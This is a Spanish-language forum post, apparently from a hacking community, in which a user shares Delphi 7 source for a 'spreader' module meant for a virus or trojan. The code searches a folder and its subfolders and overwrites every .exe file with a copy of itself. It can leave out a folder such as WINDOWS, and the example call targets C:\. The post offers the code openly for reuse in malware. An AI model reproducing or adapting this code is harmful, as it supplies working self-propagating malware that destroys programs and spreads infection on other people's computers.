Saludos a toda la comunidad.
Acá les dejo un spreader simple que programe en delphi 7.
ExplicaciónComo dice la descripción infecta la ruta pasa como argumentos y si se desea excluir alguna carpeta de ese directorio como podría ser WINDOWS. Ya que recordemos que si infectamos C:/ podríamos cargarnos todo el sistema y eso no es la idea.
Por si no entendieron la función se puede llamar en cualquier parte de su código tan solo haciendo : __spreader(TStringList, 'RUTA', 'CARPETA A EXCLUIR');
NOTA: este código lo que hace es comprobar si hay .EXE en la ruta y sus subdirectorios y si los hay, los remplaza con el código de su virus/troyano etc...
También es posible hacer un bucle con directorios y subdirectorios para que la función los valla recorriendo e infectando.
No lo puse pero si me lo piden lo agrego.
Comenten!!
Gracias y espero que les sirva: >:D
{/*******************************************\}
{ Spreader @Por WARZ0N3 }
{ Algoritmo de spreading : }
{ Infeccion .EXE : si; }
{ Propagacion P2P : si; }
{ Propagacion USB : si; }
{ Propagacion MSN : no; }
{ Exclusion de fichero : si; }
{/*******************************************\}
{ Acerca de... }
{ Este algoritmo remplaza ejecutables de la }
{ carpeta usada como argumento + sus }
{ directorios subyacentes. Tambien es posible }
{ excluir un directorio que no se quiera }
{ infectar. }
{ Ejemplo de uso: }
{ __spreader(TStringList, 'ruta', 'dir'); }
{ __spreader(miLista, 'C:/Program Files', }
{ 'WINDOWS'); }
{/*******************************************\}
{ -Use bajo su propio riesgo!- }
{ .:: Copyright 2013 ::. }
{\*******************************************/}
procedure __spreader(lSpr:TSTRINGLIST; pInit:string; pExclude:string); overload;
var
spreader, Payload : TSEARCHREC;
target : string;
i, x : integer;
sNULL : string;
begin
SETCURRENTDIR(pInit);
if FindFirst('*', FaAnyFile, spreader)=0 then
repeat
if ((spreader.Attr and faAnyFile)<>0)and((spreader.Name)<>'.')
and((spreader.Name)<>'..') then
begin
target:= Copy(spreader.Name, 0, Length(spreader.Name));
if ExtractFileExt(spreader.Name)='.exe' then begin
CopyFile(pChar(ParamStr(0)), pChar(spreader.Name), FALSE);
end;
if DirectoryExists(target) then begin
lSpr.Add(target);
end;
if DirectoryExists(pExclude) then begin
for x:=0 to lSpr.Count-1 do begin
lSpr[x]:= StringReplace(lSpr[x], pExclude, '', [rfReplaceAll]);
end;
end;
end;
until FindNext(spreader)<>0;
for i:=0 to lSpr.Count-1 do begin
SETCURRENTDIR(lSpr[i]);
if lSpr[i]='' then begin
SETCURRENTDIR('..');
end;
if FindFirst('*.exe', FaAnyFile, Payload)=0 then
repeat
CopyFile(pChar(ParamStr(0)), pChar(Payload.Name), FALSE);
until FindNext(Payload)<>0;
SETCURRENTDIR('..');
end;
SysUtils.FindClose(spreader);
SysUtils.FindClose(Payload);
end;
{/*******************************************\}
{ EJEMPLO DE USO }
{/*******************************************\}
procedure TForm1.FormCreate(Sender: TObject);
const
rSPRD : array[0..2] of string=(
'C:\Archivos de programa\eMule', 'C:\Archivos de programa\Ask.com',
'C:\Archivos de programa\MSN'
);
var
lSpr : TSTRINGLIST;
cont : integer;
sNULL : string;
begin
lSpr := TSTRINGLIST.Create;
Application.ProcessMessages;
{ Llamado de la funcion spreader }
__spreader(lSpr,
'C:\', { Carpeta a infectar }
'WINDOWS' { Excluir carpeta }
);
ZeroMemory(@rSPRD, SIZEOF(rSPRD));
end;
PD: A los admins, tengo una cuenta vieja (ya no la uso ni entre mas) es Baal.
Si pueden borrarla se los agradecería ;)